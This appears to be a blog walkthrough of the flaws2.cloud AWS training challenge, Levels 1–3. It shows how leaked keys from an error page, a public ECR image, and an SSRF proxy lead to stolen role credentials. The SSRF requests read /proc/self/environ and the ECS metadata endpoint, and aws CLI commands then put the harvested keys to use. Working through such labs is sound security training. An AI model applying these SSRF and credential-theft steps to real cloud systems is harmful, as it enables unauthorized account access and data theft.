This blog provides a comprehensive walkthrough of flaws2.cloud, covering everything from Level 1 to Level 3 on the Attacker Path.

Level 1

For this level, you’ll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won’t help.

1. Attempting various PIN combinations results in an “Incorrect. Try again.” notification. Let’s experiment with entering letters to observe the outcome.

Even if the initial attempt fails, we shouldn’t give up. We can explore alternative methods of inputting letters.

2. Navigate to Inspect > Network > Submit a Code (e.g., 1234). Right-click on “level1?code=1234,” select Edit and Resend, and replace the code value with letters (e.g., abc). Then click Send.

3. Upon sending the Request, a 500 Internal Error Message is thrown. Navigate to Request > Response > Copy the entire content.

4. It’s a JavaScript snippet. Let’s enhance its readability by ‘Beautifying’ it with online or local tools.

Analyzing the Result provides valuable information, particularly AccessKeys and region

5. Let’s create a Profile for the discovered AccessKeys on our machine (using Kali Linux). As it also contains AWS_SESSION_TOKEN, it likely represents a Role. Therefore, I will manually edit the ‘~/.aws/credentials’ file and add the AccessKeys accordingly.

To do this, I’ll use the ‘nano’ text editor:

nano ~/.aws/credentials"

6. Now, let’s verify the validity of the keys:

aws sts get-caller-identity --profile level1

Great news! The AccessKeys are valid.

7. Let’s proceed to list the buckets associated with this account.

aws s3 ls s3://level1.flaws2.cloud --profile level1

8. Next, we’ll proceed to download the entire file and explore the contents of secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html, as it appears to be intriguing due to its ‘secret‘ label.

aws s3 sync s3://level1.flaws2.cloud --profile level1 .

ls 

firefox secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html

Great news! Level 1 is conquered! Next stop: Level 2.

Level 2

This next level is running as a container at http://container.target.flaws2.cloud/. Just like S3 buckets, other resources on AWS can have open permissions. I’ll give you a hint that the ECR (Elastic Container Registry) is named “level2”.

1. Go to the given URL from Instructions: container.target.flaws2.cloud. It asks for Username and Password, just like Level 4 from flaws.cloud.

2. First, we need to determine whether the ECR is public or not by verifying the ERC name:

aws ecr list-images --repository-name REPO_NAME --registry-id ACCOUNT_ID

Next, we’ll utilize the Level 1 profile that we’ve established. In case the credentials have expired, we’ll update them and proceed with the following command:

aws sts get-caller-identity --profile level1

aws ecr list-images --repository-name level1 --registry-id 653711331788 --profile level1

3. Now that we’re aware of ECR’s public status, let’s gather more details using available values like ECR name, imageDigest, and imageTag.

aws ecr help

aws ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag=latest --profile level1

{
  "images": [
    {
      "registryId": "653711331788",
      "repositoryName": "level2",
      "imageId": {
        "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
        "imageTag": "latest"
      },
      "imageManifest": {
        "schemaVersion": 2,
        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
        "config": {
          "mediaType": "application/vnd.docker.container.image.v1+json",
          "size": 5359,
          "digest": "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621"
        },
        "layers": [
          {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 43412182,
            "digest": "sha256:7b8b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
          },
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        ]
      },
      "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json"
    }
  ],
  "failures": []
}

4. Now let’s see what we can do with layers

aws ecr help |grep layer

After reviewing the choices, we can utilize the ‘batch’ and ‘get’ APIs using the available information

aws ecr batch-check-layer-availability --repository-name level2 --layer-digests "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a06210" --profile level1

No significant results from the Batch API; let’s explore the Get API instead:

aws ecr get-download-url-for-layer --repository-name level2 --layer-digest "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621" --profile level1

5. Surprisingly, the ‘get-download-url-for-layer’ API provided an intriguing download URL. Let’s open it in our web browser.

Received a file to save.

6. Moving on, we’ll open the file and analyze its JSON format. To make it more readable, we’ll ‘beautify’ it using online or local tools, such as Sublime. Our focus is on finding Login Credentials, indicated by words like ‘username’ or ‘password’

7. Since the beginning, we had a hunch that logging in would be necessary to solve this level. The information discovered in Step 6 seems promising as potential login credentials.

Now, let’s navigate to the provided URL and attempt to log in.

Congratulations on solving Level 2! Let’s proceed to Level 3 and take on the next challenge.

Level 3

The container’s webserver you got access to includes a simple proxy that can be access with: http://container.target.flaws2.cloud/proxy/http://flaws.cloud or http://container.target.flaws2.cloud/proxy/http://neverssl.com

1. This level closely resembles Level 5 from flaws.cloud. URLs are in the format http://container.target.flaws2.cloud/proxy/<AnotherLinkHere>. Whenever I encounter such URLs, I always check for SSRF. Similar to our approach in Level 5 of flaws.cloud, where we attempted to access the metadata of EC2 instances, this time we aim to access the metadata of ECS on AWS, which contains the credentials at:

169.254.170.2/v2/credentials/GUID. 

The GUID is obtained from the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Furthermore, based on our knowledge from Level 2, we know that the operating system is Linux, and for processes in Linux, they can typically be found at:

/proc/<PID>environ OR env OR printenv.

2. Let’s now attempt to find the process using the following commands:

Access this URL: http://container.target.flaws2.cloud/proxy/proc/self/environ

We use ‘self’ since the PID number is unknown.

3. Great! Since we have successfully located the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI, let’s proceed by reverting everything back to the formula used in Step 1.

169.254.170.2/v2/credentials/GUID

169.254.170.2/v2/credentials/4c79e5cb-786b-4ceb-a0e2-a94a1c9b073a

http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/4c79e5cb-786b-4ceb-a0e2-a94a1c9b073a

“Beautify”:

4. We discovered AccessKeys paired with Token, turning it into a Role:

nano ~/.aws/credentials

aws sts get-caller-identity --profile level3

5. Let’s now list the buckets with our new Role:

aws s3 ls --profile level3

Go to the given URL:

Congratulations! You’ve successfully completed all the levels. Well done!